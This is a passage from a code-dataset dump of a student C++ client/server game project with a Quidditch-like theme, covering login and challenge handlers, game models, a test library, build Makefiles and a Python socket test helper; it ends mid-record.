"Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"challenge.h\"\n\nusing namespace std;\n\nnamespace views {\n\nvoid challenge(JsonValue * message, UserHandler * handler) {\n JsonDict * dictMessage = castDict(message);\n\n string other_username = getString(dictMessage, \"other_username\");\n UserHandler * other_handler = handler->findHandler(other_username);\n if (other_handler == NULL) {\n return sendFail(handler, 301, \"challenge\", \"User does not exist\");\n }\n if (other_handler == handler) {\n return sendFail(handler, 405, \"challenge\", \"You cannot challenge yourself\");\n }\n\n // TODO : should test if the remote user has already a challenge\n\n server_shared_data * server_data = handler->getSharedData();\n Challenge current_challenge = {\n server_data->last_challenge_id++,\n {\n handler->getManager(),\n other_handler->getManager()\n }\n };\n handler->getChalenge_list()->push_back(current_challenge);\n\n JsonDict * payload = new JsonDict();\n payload->add(\"remote_username\", new JsonString(handler->getManager()->getUserName()));\n payload->add(\"remote_name\", new JsonString(handler->getManager()->getName()));\n payload->add(\"challenge_id\", new JsonInt(current_challenge.id));\n other_handler->writeToClient(\"challenge\", payload);\n}\n\nvoid accept_challenge(JsonValue * message, UserHandler * handler) {\n JsonDict * dictMessage = castDict(message);\n int challenge_id = getInt(dictMessage, \"id\");\n Challenge * challenge = NULL;\n int i;\n for (i = 0; i < handler->getChalenge_list()->size() && challenge == NULL; i++) {\n if (handler->getChalenge_list()->at(i).id == challenge_id) {\n challenge = &(handler->getChalenge_list()->at(i));\n }\n }\n i--; // Decrement the last loop\n if (challenge == NULL) {\n return sendFail(handler, 406, \"challenge\", \"Challenge does not exist\");\n }\n if ((challenge->opponents[0] != handler->getManager()) && (challenge->opponents[1] != handler->getManager())) {\n return sendFail(handler, 407, \"challenge\", \"This challenge is not yours\");\n }\n\n Match * match = new Match(challenge->opponents[0]->getClub(), challenge->opponents[1]->getClub());\n handler->getMatch_list()->push_back(match);\n //handler->getChalenge_list()->erase(handler->getChalenge_list()->begin() + i);\n\n UserHandler * other_handler;\n if (challenge->opponents[0] == handler->getManager()) {\n other_handler = handler->findHandler(challenge->opponents[1]);\n }\n else {\n other_handler = handler->findHandler(challenge->opponents[0]);\n }\n\n JsonDict payload = (JsonDict) * match;\n payload.add(\"guest\", new JsonBool(false));\n payload.add(\"id\", new JsonInt(challenge_id));\n other_handler->writeToClient(\"startMatch\", &payload);\n JsonDict second_payload = (JsonDict) * match;\n second_payload.add(\"guest\", new JsonBool(true));\n second_payload.add(\"id\", new JsonInt(challenge_id));\n handler->writeToClient(\"startMatch\", &second_payload);\n\n}\n\nvoid refuse_challenge(JsonValue * message, UserHandler * handler) {\n JsonDict * dictMessage = castDict(message);\n int challenge_id = getInt(dictMessage, \"id\");\n Challenge * challenge = NULL;\n int i;\n for (i = 0; i < handler->getChalenge_list()->size() && challenge == NULL; i++) {\n if (handler->getChalenge_list()->at(i).id == challenge_id) {\n challenge = &(handler->getChalenge_list()->at(i));\n }\n }\n i--; // Decrement the last loop\n if (challenge == NULL) {\n return sendFail(handler, 406, \"challenge\", \"Challenge does not exist\");\n }\n if ((challenge->opponents[0] != handler->getManager()) && (challenge->opponents[1] != handler->getManager())) {\n return sendFail(handler, 407, \"challenge\", \"This challenge is not yours\");\n }\n\n\n UserHandler * other_handler;\n if (challenge->opponents[0] == handler->getManager()) {\n other_handler = handler->findHandler(challenge->opponents[1]);\n }\n else {\n other_handler = handler->findHandler(challenge->opponents[0]);\n }\n\n JsonDict payload = JsonDict();\n payload.add(\"challenge_id\", new JsonInt(challenge->id));\n other_handler->writeToClient(\"refuse_challenge\", &payload);\n\n handler->getChalenge_list()->erase(handler->getChalenge_list()->begin() + i);\n\n}\n\n\n} // end namespace\n" }, { "alpha_fraction": 0.7091377377510071, "alphanum_fraction": 0.7117117047309875, "avg_line_length": 25.79310417175293, "blob_id": "91f43e38a70bf111fa4d99e78cdf5e300e35b379", "content_id": "bfef946c3b1ecacd24c0602e802a7883b98a3ff2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 777, "license_type": "permissive", "max_line_length": 175, "num_lines": 29, "path": "/src/common/models/NonFieldPlayer.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef NONFIELDPLAYER_H\n#define NONFIELDPLAYER_H\n\n#include \"Player.h\"\n#include \"../lib/json/json.h\"\n#include \"ModelUnserializationError.h\"\n\nclass NonFieldPlayer: public Player {\n\npublic:\n NonFieldPlayer(int vocation, int speed, int force, int agility, int reflexes, int passPrecision, bool wounded, std::vector<Item> inventory, int level=1, int experience=0);\n NonFieldPlayer(JsonValue * json);\n NonFieldPlayer();\n ~NonFieldPlayer();\n NonFieldPlayer & operator=(const Player & player);\n operator JsonDict() const;\n int getLevel();\n void changeExperience(int deltaExperience);\n void levelUp();\n int getVocation();\n void setVocation(int vocation);\n\nprivate:\n int level_;\n int experience_;\n int vocation_;\n};\n\n#endif // NONFIELDPLAYER_H\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 14.166666984558105, "blob_id": "0b1df3eda0da5c74b1b77c94ecbc6eb21a2a1f69", "content_id": "7bca40b4c33e3e82af85ea82d0f70cd3b934402d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 91, "license_type": "permissive", "max_line_length": 25, "num_lines": 6, "path": "/src/client/receive-views/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../options.mk\n\nNAME=client-recieve-views\nDEPS=libsocket\n\ninclude ../../rules.mk\n" }, { "alpha_fraction": 0.6675900220870972, "alphanum_fraction": 0.6675900220870972, "avg_line_length": 16.190475463867188, "blob_id": "898493ae2954e3fcd75ebde8ed2ac3a4cf9109b2", "content_id": "38b705fcc04d8c37f1b709a767d93fd972ddb03c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 361, "license_type": "permissive", "max_line_length": 48, "num_lines": 21, "path": "/src/common/models/Shop.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef SHOP_H\n#define SHOP_H\n\n#include \"Installation.h\"\n#include <string>\n\nclass Shop: public Installation {\n\npublic:\n Shop(std::string name, unsigned int income);\n ~Shop();\n unsigned int getIncome();\n void setIncome(unsigned int income);\n std::string getName();\n\nprotected:\n unsigned int income_;\n std::string name_;\n};\n\n#endif // SHOP_H\n" }, { "alpha_fraction": 0.6966666579246521, "alphanum_fraction": 0.6966666579246521, "avg_line_length": 14, "blob_id": "f08697a3ed82967e8d4836bf2999cfda14df6e65", "content_id": "feb69e1f7609edeae8f5e49f8c9668c3903c58a2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 300, "license_type": "permissive", "max_line_length": 34, "num_lines": 20, "path": "/src/server/client_loop.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef CLIENT_LOOP\n#define CLIENT_LOOP\n\n#include <stdlib.h>\n#include <unistd.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n\n#include <string>\n#include <vector>\n#include <iostream>\n\n#include \"helpers.h\"\n#include \"UserHandler.h\"\n\nint main(int argc, char * argv[]);\n\nvoid * client_loop(void *);\n\n#endif\n" }, { "alpha_fraction": 0.627081036567688, "alphanum_fraction": 0.6344801783561707, "avg_line_length": 28.380434036254883, "blob_id": "b958db40c262e6923b506625eed07572ccbe5bf4", "content_id": "a53c498c397ea97ae0c014119db7972607e894cc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2703, "license_type": "permissive", "max_line_length": 79, "num_lines": 92, "path": "/src/server/views/user.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"user.h\"\n\nusing namespace std;\n\nnamespace views {\n\nvoid login(JsonValue * message, UserHandler * handler) {\n JsonDict * dictMessage = JDICT(message);\n\n if (dictMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n\n string username = getString(dictMessage, \"username\");\n string password = getString(dictMessage, \"password\");\n\n if (isInConnectedList(handler->getHandlers_list(), username)) {\n return sendFail(handler, 403, \"login\", \"Already logged\");\n }\n\n string filename = handler->path(\"users\", username);\n string content;\n\n if (readFile(filename, content) != 0) {\n return sendFail(handler, 301, \"login\", \"User does not exist\");\n }\n\n Manager * manager = NULL;\n try {\n manager = new Manager(JsonValue::fromString(content));\n }\n catch (const ParseError & pe) {\n return sendFail(handler, 501, \"login\", \"Error while retrieving user\");\n }\n if (manager->checkPassword(password)) {\n JsonDict answer;\n\n answer.add(\"success\", new JsonBool(true));\n handler->writeToClient(\"login\", &answer);\n handler->setManager(manager);\n }\n else {\n delete manager;\n manager = NULL;\n return sendFail(handler, 401, \"login\", \"Wrong password\");\n }\n}\n\nvoid signup(JsonValue * message, UserHandler * handler) {\n JsonDict * dictMessage = JDICT(message);\n\n if (dictMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n\n string username = getString(dictMessage, \"username\");\n string password = getString(dictMessage, \"password\");\n string name = getString(dictMessage, \"name\");\n\n if (isInConnectedList(handler->getHandlers_list(), username)) {\n return sendFail(handler, 403, \"register\", \"Already logged\");\n }\n string filename = handler->path(\"users\", username);\n\n if (fileExists(filename)) {\n return sendFail(handler, 402, \"register\", \"User already exists\");\n }\n\n Manager * manager = new Manager(name, username, password);\n handler->setManager(manager);\n\n JsonDict answer;\n\n answer.add(\"success\", new JsonBool(true));\n handler->writeToClient(\"login\", &answer);\n}\n\n\nvoid userlist(JsonValue * message, UserHandler * handler) {\n JsonList answer;\n std::vector<UserHandler *> * handlers_vector = handler->getHandlers_list();\n\n for (int i = 0; i < handlers_vector->size(); i++) {\n Manager * manager = handlers_vector->at(i)->getManager();\n if ((manager != NULL) && (manager != handler->getManager())) {\n answer.add(new JsonString(manager->getUserName()));\n }\n }\n\n handler->writeToClient(\"userlist\", &answer);\n}\n}\n" }, { "alpha_fraction": 0.651067852973938, "alphanum_fraction": 0.651695966720581, "avg_line_length": 27.428571701049805, "blob_id": "89db5a3fbd4b6291393a6e02ec5c7f27733d0cc7", "content_id": "c8d14139b89ed32935961a5f95fc2e98e35552be", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3184, "license_type": "permissive", "max_line_length": 80, "num_lines": 112, "path": "/src/client/receive-views/views.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"views.h\"\n\nusing namespace std;\n\nnamespace rviews {\n\nvoid login(JsonValue * message, ServerHandler * handler) {\n JsonDict * dictMessage = JDICT(message);\n\n if (dictMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n\n bool success = getBool(dictMessage, \"success\");\n if (success) {\n emit handler->getWindow()->loginSuccess();\n }\n else {\n emit handler->getWindow()->loginFailure(getInt(dictMessage, \"code\"));\n }\n}\n\nvoid signup(JsonValue * message, ServerHandler * handler) {\n JsonDict * dictMessage = JDICT(message);\n\n if (dictMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON dict\");\n }\n\n bool success = getBool(dictMessage, \"success\");\n if (success) {\n emit handler->getWindow()->registerSuccess();\n }\n else {\n emit handler->getWindow()->registerFailure(getInt(dictMessage, \"code\"));\n }\n}\n\nvoid userlist(JsonValue * message, ServerHandler * handler) {\n JsonList * listMessage = JLIST(message);\n\n if (listMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON list\");\n }\n\n vector<string> * ulist = new vector<string>;\n for (size_t i = 0; i < listMessage->size(); i++) {\n ulist->push_back(getString(listMessage, i));\n }\n emit handler->getWindow()->userList(ulist);\n}\n\nvoid playerlist(JsonValue * message, ServerHandler * handler) {\n JsonList * listMessage = JLIST(message);\n\n if (listMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON list\");\n }\n\n vector<NonFieldPlayer *> * plist = new vector<NonFieldPlayer *>;\n for (size_t i = 0; i < listMessage->size(); i++) {\n plist->push_back(new NonFieldPlayer((*listMessage)[i]));\n }\n emit handler->getWindow()->playerList(plist);\n}\n\nvoid challenge(JsonValue * message, ServerHandler * handler) {\n JsonDict * listMessage = castDict(message);\n\n string * opponentName = new string(getString(listMessage, \"remote_name\"));\n int matchID = getInt(listMessage, \"challenge_id\");\n emit handler->getWindow()->newDefi(opponentName, matchID);\n\n}\n\nvoid startMatch(JsonValue * message, ServerHandler * handler) {\n JsonDict * listMessage = JDICT(message);\n\n if (listMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON list\");\n }\n\n bool isGuest = getBool(listMessage, \"guest\");\n int matchID = getInt(listMessage, \"id\");\n\n Match * match = new Match(listMessage);\n emit handler->getWindow()->startMatch(match, isGuest, matchID);\n}\n\nvoid updateMatch(JsonValue * message, ServerHandler * handler) {\n JsonDict * listMessage = JDICT(message);\n\n if (listMessage == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON list\");\n }\n\n Match * match = new Match(listMessage);\n emit handler->getWindow()->updateMatch(match);\n}\n\nvoid endMatch(JsonValue * message, ServerHandler * handler) {\n JsonInt * result_int = JINT(message);\n\n if (result_int == NULL) {\n throw BadRequest(\"Malformatted request. Need a JSON int\");\n }\n\n int result = *result_int;\n emit handler->getWindow()->endMatch(result);\n}\n\n}\n" }, { "alpha_fraction": 0.5864877700805664, "alphanum_fraction": 0.5884044170379639, "avg_line_length": 26.460525512695312, "blob_id": "c8381ebcd3ced1ff1ff79f566e569ef91df219c5", "content_id": "d7053482c97e787a26e2bca2ffad445d86ed369c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2087, "license_type": "permissive", "max_line_length": 118, "num_lines": 76, "path": "/src/common/models/Quaffle.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Quaffle.h\"\n\nusing namespace std;\n\nQuaffle::Quaffle(): Ball(0), thrownWay_() {}\n\nQuaffle::Quaffle(int speed, Position position): Ball(speed, position), thrownWay_() {}\n\nQuaffle::Quaffle(JsonValue * json) {\n\n JsonDict * ball_dict = JDICT(json);\n if (ball_dict == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * speed_int = JINT((*ball_dict)[\"speed\"]);\n if (speed_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n int speed = *speed_int;\n\n JsonList * position_list = JLIST((*ball_dict)[\"position\"]);\n if (position_list == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n JsonInt * x_int = JINT((*position_list)[0]);\n JsonInt * y_int = JINT((*position_list)[1]);\n\n if (x_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n if (y_int == NULL) {\n throw ModelUnserializationError(string(__FUNCTION__) + \" in \" + string(__FILE__) + \":\" + to_string(__LINE__));\n }\n\n Position position;\n position.x = *x_int;\n position.y = *y_int;\n\n new (this)Quaffle(speed, position);\n}\n\nQuaffle::~Quaffle() {}\n\nvoid Quaffle::thrown(const char direction, const int power, const Case grid[WIDTH][LENGTH]) {\n Way way;\n for (int i = 0; i < power; i++) {\n way.push_back(nextCase(position_, direction, grid));\n }\n thrownWay_ = way;\n}\n\nstring Quaffle::getName() {\n return \"Q\";\n}\n\nWay Quaffle::getWay() const {\n return thrownWay_;\n}\n\nvoid Quaffle::setWay(Way way) {\n thrownWay_ = way;\n}\n\nQuaffle::operator JsonDict() const {\n JsonDict r;\n r.add(\"speed\", new JsonInt(speed_));\n JsonList * position = new JsonList();\n position->add(new JsonInt(position_.x));\n position->add(new JsonInt(position_.y));\n r.add(\"position\", position);\n return r;\n}\n" }, { "alpha_fraction": 0.5256257653236389, "alphanum_fraction": 0.5530393123626709, "avg_line_length": 24.42424201965332, "blob_id": "d47e6fbfcee667885550c92f81920db7f1ba92f5", "content_id": "8e903a011e7c3d5526ded9698d84f992d28902b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 839, "license_type": "permissive", "max_line_length": 79, "num_lines": 33, "path": "/src/client/gui/hexagon.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"hexagon.h\"\nusing namespace std;\n\nHexagon::Hexagon(int x, int y, QWidget * parent):\n QWidget(parent), x_(x), y_(y), corners() {\n setCorners();\n\n}\nHexagon::Hexagon(QWidget * parent): QWidget(parent), x_(0), y_(0), corners() {}\n\n\nHexagon::~Hexagon() {}\n\nvoid Hexagon::setX(int x) {\n x_ = x;\n}\n\nvoid Hexagon::setY(int y) {\n y_ = y;\n}\n\nvoid Hexagon::setCorners() {\n double r = 10;\n const double pi = 2 * acos(0.0);\n corners.push_back(QPoint(r * cos(pi / 6.0) + x_, r / 2.0 + y_));\n corners.push_back(QPoint(x_, y_ + r));\n corners.push_back(QPoint(-r * cos(pi / 6.0) + x_, y_ + r / 2.0));\n corners.push_back(QPoint(-r * cos(pi / 6.0) + x_, y_ - r / 2.0));\n corners.push_back(QPoint(x_, y_ - r));\n corners.push_back(QPoint(r * cos(pi / 6.0) + x_, y_ - r / 2.0));\n hexagon_ = QPolygon(corners);\n\n}\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 11.5, "blob_id": "0d38f9e871b4e5865696c512326917fdaa70926a", "content_id": "b2a65cbb88dc79352822f64f5ca0e2cbb4cc0d54", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 75, "license_type": "permissive", "max_line_length": 27, "num_lines": 6, "path": "/src/common/lib/json/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../../options.mk\n\nNAME=libjson\nDEPS=\n\ninclude ../../../rules.mk\n" }, { "alpha_fraction": 0.5692749619483948, "alphanum_fraction": 0.5735821723937988, "avg_line_length": 21.095237731933594, "blob_id": "20c0833cf57c10bc9d2bac787e818eb0cbc7b2fd", "content_id": "3d038f6d63cadc335268c99b670fc03a62d59535", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1393, "license_type": "permissive", "max_line_length": 113, "num_lines": 63, "path": "/srd/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "GLOSSARY_FILES = *.idx *.ist *.alg *.glg *.glo *.gls *.acn *.acr *.ilg *.ind\nTEX_FILES = *.aux *.log *.out *.lof *.lot *.toc *.xdy\nTEX = pdflatex -interaction=batchmode\n\nDIASSOURCES=$(wildcard ./uml/*/*.dia) $(wildcard ./uml/*.dia)\nDIAOUT=$(subst .dia,.eps,$(DIASSOURCES))\n\nDOTSOURCE=$(wildcard ./uml/*/*.dot) $(wildcard ./uml/*/*.neato) $(wildcard ./uml/*.dot) $(wildcard ./uml/*.neato)\nDOTOUT=$(subst .neato,.eps,$(subst .dot,.eps,$(DOTSOURCE)))\n\nROOT=$(realpath .)/\n\nRED=\\e[0;31m\nNC=\\e[0m\n\nall: diagrams srd.pdf\n\t@echo -e \"$(RED) fin $(NC)\"\n\nclean: clean-diagrams\n\trm -f ${GLOSSARY_FILES} ${TEX_FILES} srd.synctex.gz\n\n%.pdf: %.tex %.glg2 %.idn\n\t@echo -e \"$(RED) make pdf $(NC)\"\n\t${TEX} $<\n\n%.glg2: %.glg\n\t${TEX} $(subst .glg,.tex,$<)\n\t@echo -e \"$(RED) make glossaries $(NC)\"\n\tmakeglossaries -q $(subst .glg,,$<)\n\ttouch $@\n\n\n%.glg: %.gls\n\t@echo -e \"$(RED) make glossaries $(NC)\"\n\tmakeglossaries -q $(subst .gls,,$<)\n\n%.gls %.idx: %.tex\n\t@echo -e \"$(RED) make glossaries and index entry $(NC)\"\n\t${TEX} $<\n\n%.idn: %.idx\n\t@echo -e \"$(RED) make index $(NC)\"\n\tmakeindex -q $(subst .tex,,$<)\n\ndiagrams: $(DIAOUT) $(DOTOUT)\n\n%.eps: %.dia\n\tdia -e $(ROOT)$@ $(ROOT)$<\n\n%.eps: %.neato\n\tneato -Teps $< > $@\n\n%.eps: %.dot\n\tdot -Teps $< > $@\n\nclean-diagrams:\n\tfind . -name \"*-eps-converted-to.pdf\" -exec rm -rf {} \\;\n\tfind . -name \"*.eps\" -exec rm -rf {} \\;\n\ndebug:\n\t@echo $(DOTOUT)\n\n.PHONY: clean all\n\n" }, { "alpha_fraction": 0.5945303440093994, "alphanum_fraction": 0.6064209342002869, "avg_line_length": 20.564102172851562, "blob_id": "5d6dfc2f9024f61b84599bab2f8ff3772671140b", "content_id": "5bb545f16d7ecc756f5d264533a139e1c2a8e2ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "permissive", "max_line_length": 89, "num_lines": 39, "path": "/src/common/lib/test/python/scenarios/lib.py", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "import socket\nfrom contextlib import contextmanager\nimport json\nfrom multiprocessing import Process\n\n\n@contextmanager\ndef sock(host, port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n yield s\n s.close()\n\n\ndef send(s, topic, message):\n if not isinstance(message, str):\n message = json.dumps(message)\n s.sendall(\"{}:{}\\n\\n\".format(topic, message))\n\n\ndef recv(s):\n data = s.recv(10240)\n t = data.split(':')\n return t[0], json.loads((\":\".join(t[1:]))[:-2])\n\n\ndef coroutine(f):\n p = Process(target=f)\n p.start()\n\n return p\n\n\ndef force_login(s, name):\n send(s, \"login\", {'username': name, 'password': name})\n r = recv(s)\n if not r[1]['success']:\n send(s, \"register\", {'username': name, 'password': name, 'name': name * 2})\n recv(s)\n" }, { "alpha_fraction": 0.7205169796943665, "alphanum_fraction": 0.7221324443817139, "avg_line_length": 17.205883026123047, "blob_id": "11efdee1171975fd9f391ba4015fa402352013c1", "content_id": "871e933fe927c27063babad3f2f6edd3dcb6268a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 619, "license_type": "permissive", "max_line_length": 57, "num_lines": 34, "path": "/src/client/gui/infrastructurewidget.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef INFRASTRUCTUREWIDGET_H\n#define INFRASTRUCTUREWIDGET_H\n\n#include <QWidget>\n#include <QLabel>\n\nclass MainWindow;\n\nclass InfrastructureWidget: public QWidget {\n Q_OBJECT\npublic:\n explicit InfrastructureWidget(MainWindow * parent=0);\n\nsignals:\n\npublic slots:\n void setTrainingField();\n void setField();\n void setInfirmary();\n void setFanShop();\n void setCandyShop();\n void backToMenu();\n\nprivate:\n MainWindow * parent_;\n QWidget * mainWidget;\n QWidget * currentInfrastructureWidget;\n QLabel * currentInfrastructure;\n\n};\n\n#include <mainwindow.h>\n\n#endif // INFRASTRUCTUREWIDGET_H\n" }, { "alpha_fraction": 0.6073211431503296, "alphanum_fraction": 0.622296154499054, "avg_line_length": 17.78125, "blob_id": "5d2f326af94f83f5d3698fe4028dac49e4ce6329", "content_id": "eb991162639f273e44097cde85d1a1e68eecdc0d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 601, "license_type": "permissive", "max_line_length": 48, "num_lines": 32, "path": "/src/common/models/test.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"../lib/test/libtest.h\"\n\n#include \"../lib/json/json.h\"\n\n#include \"Match.h\"\n#include \"Club.h\"\n\nusing namespace std;\n\nvoid test_Match_getGrid() {\n Club club1;\n Club club2;\n Match match(club1, club2);\n Case grid[WIDTH][LENGTH];\n match.getGrid(grid);\n ASSERT_NOT_NULL(grid, \"Grid is null\");\n}\n\nvoid test_Match_json() {\n Club club1;\n Club club2;\n Match match(club1, club2);\n JsonDict * match_dict = new JsonDict(match);\n Match match2(match_dict);\n delete match_dict;\n}\n\n#define TESTVEC {T(test_Match_getGrid), \\\n T(test_Match_json) \\\n}\n\nTEST();\n" }, { "alpha_fraction": 0.6553846001625061, "alphanum_fraction": 0.6584615111351013, "avg_line_length": 16.105262756347656, "blob_id": "4676104c62d7f28d73e91381ccd1733cec916b0a", "content_id": "a601251671ee2600b0c16555d9c176469b09917e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 325, "license_type": "permissive", "max_line_length": 94, "num_lines": 19, "path": "/src/common/models/Shop.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Shop.h\"\n\nusing namespace std;\n\nShop::Shop(string name, unsigned int income): Installation(1), income_(income), name_(name) {}\n\nShop::~Shop() {}\n\nunsigned int Shop::getIncome() {\n return income_;\n}\n\nvoid Shop::setIncome(unsigned int income) {\n income_ = income;\n}\n\nstring Shop::getName() {\n return name_;\n}\n" }, { "alpha_fraction": 0.4186307489871979, "alphanum_fraction": 0.4246165454387665, "avg_line_length": 24.216981887817383, "blob_id": "bdd09d455be149efd99fac6cc0796d6e5287fc74", "content_id": "0b06b7f3ab3052ed70a391ca1a16b11856ac0162", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2673, "license_type": "permissive", "max_line_length": 131, "num_lines": 106, "path": "/src/common/lib/test/libtest.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"libtest.h\"\nusing namespace std;\n\nint test(vector<func_struct> testvec) {\n int fail = 0;\n string error = \"\";\n string reset = \"\";\n cout << YELLOW << \"Executing \" << testvec.size() << \" tests:\" << WHITE << endl;\n\n for (int i = 0; i < testvec.size(); i++) {\n bool pass = false;\n bool except = true;\n\n cout << testvec[i].name + \"() ...\";\n\n try {\n testvec[i].ptr();\n pass = true;\n }\n catch (AssertFail & e) {\n fail++;\n except = false;\n error = e.what();\n }\n catch (runtime_error & e) {\n fail++;\n error = e.what();\n }\n catch (exception & e) {\n fail++;\n error = e.what();\n }\n reset = \"\";\n int max = testvec[i].name.length() + 6;\n for (int i = 0; i < max; i++) {\n reset += DEL;\n }\n cout << reset << \"[\";\n if (pass) {\n cout << GREEN << \" Ok \";\n }\n else {\n if (except) {\n cout << PURPLE << \"THRO\";\n }\n else {\n cout << RED << \"FAIL\";\n }\n }\n cout << WHITE << \"] \";\n if (!pass) {\n if (except) {\n cout << \"in \" << testvec[i].name << \"() \";\n }\n cout << error;\n }\n else {\n cout << testvec[i].name << \"()\";\n }\n cout << endl;\n }\n cout << endl;\n if (fail == 0) {\n cout << \"Executed \" << testvec.size() << \" tests. \\e[1;32mOK.\\e[0m\" << endl;\n return 0;\n }\n else {\n cout << \"\\e[1;31mFail \" << fail << \"/\" << testvec.size() << \"\\e[0m\" << endl;\n return 1;\n }\n\n}\n\nvoid assert(bool value, string message, int line, string file, string func) {\n if (!value) {\n throw AssertFail(message, line, file, func);\n }\n}\n\nvoid assertFalse(bool value, string message, int line, string file, string func) {\n assert(!value, message, line, file, func);\n}\n\nAssertFail::AssertFail(string message, int line, string file, string func): message(message), line(line), file(file), func(func) {}\n\nstring AssertFail::what() {\n string errorMessage;\n if (func != \"\") {\n errorMessage += \"in \" + func + \"() \";\n }\n if (file != \"\") {\n errorMessage += \"in \" + file;\n }\n if (line > 0) {\n if (file == \"\") {\n errorMessage += \" At line \" + to_string(line);\n }\n else {\n errorMessage += \":\" + to_string(line);\n }\n }\n if (message != \"\") {\n errorMessage += \": \" + string(BOLD) + message;\n }\n return errorMessage;\n}\n" }, { "alpha_fraction": 0.6972034573554993, "alphanum_fraction": 0.6972034573554993, "avg_line_length": 25.58974266052246, "blob_id": "208cd1a30f1da320b2f09638c79cc01851332672", "content_id": "f98735594a8ccf66667d919be2ee8a598e755fbb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1037, "license_type": "permissive", "max_line_length": 122, "num_lines": 39, "path": "/src/common/models/Player.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef PLAYER_H\n#define PLAYER_H\n\n#include <vector>\n#include <string>\n#include \"Item.h\"\n\nclass Player {\n\npublic:\n Player(int speed, int force, int agility, int reflexes, int passPrecision, bool wounded, std::vector<Item> inventory);\n Player();\n virtual ~Player();\n virtual int getSpeed() const;\n virtual int getForce() const;\n virtual int getAgility() const;\n virtual int getReflexes() const;\n virtual int getPassPrecision() const;\n virtual bool isWounded() const;\n virtual void setWoundedState(bool wound);\n virtual std::vector<Item> getInventory() const;\n virtual void setSpeed(int speed);\n virtual void setForce(int force);\n virtual void setAgility(int agility);\n virtual void setReflexes(int reflexes);\n virtual void setPassPrecision(int passPrecision);\n virtual void setWoundState(bool woundState);\n\nprotected:\n int speed_;\n int force_;\n int agility_;\n int reflexes_;\n int passPrecision_;\n bool wounded_;\n std::vector<Item> inventory_;\n};\n\n#endif // PLAYER_H\n" }, { "alpha_fraction": 0.56886225938797, "alphanum_fraction": 0.5737935900688171, "avg_line_length": 26.563106536865234, "blob_id": "c3ab34cae3ebc29598eb69a35a0ff75ee8d2bf73", "content_id": "91ad58a746e339b35a3654e504373b98c209b8f9", "detected_licenses": [ "MIT" ], 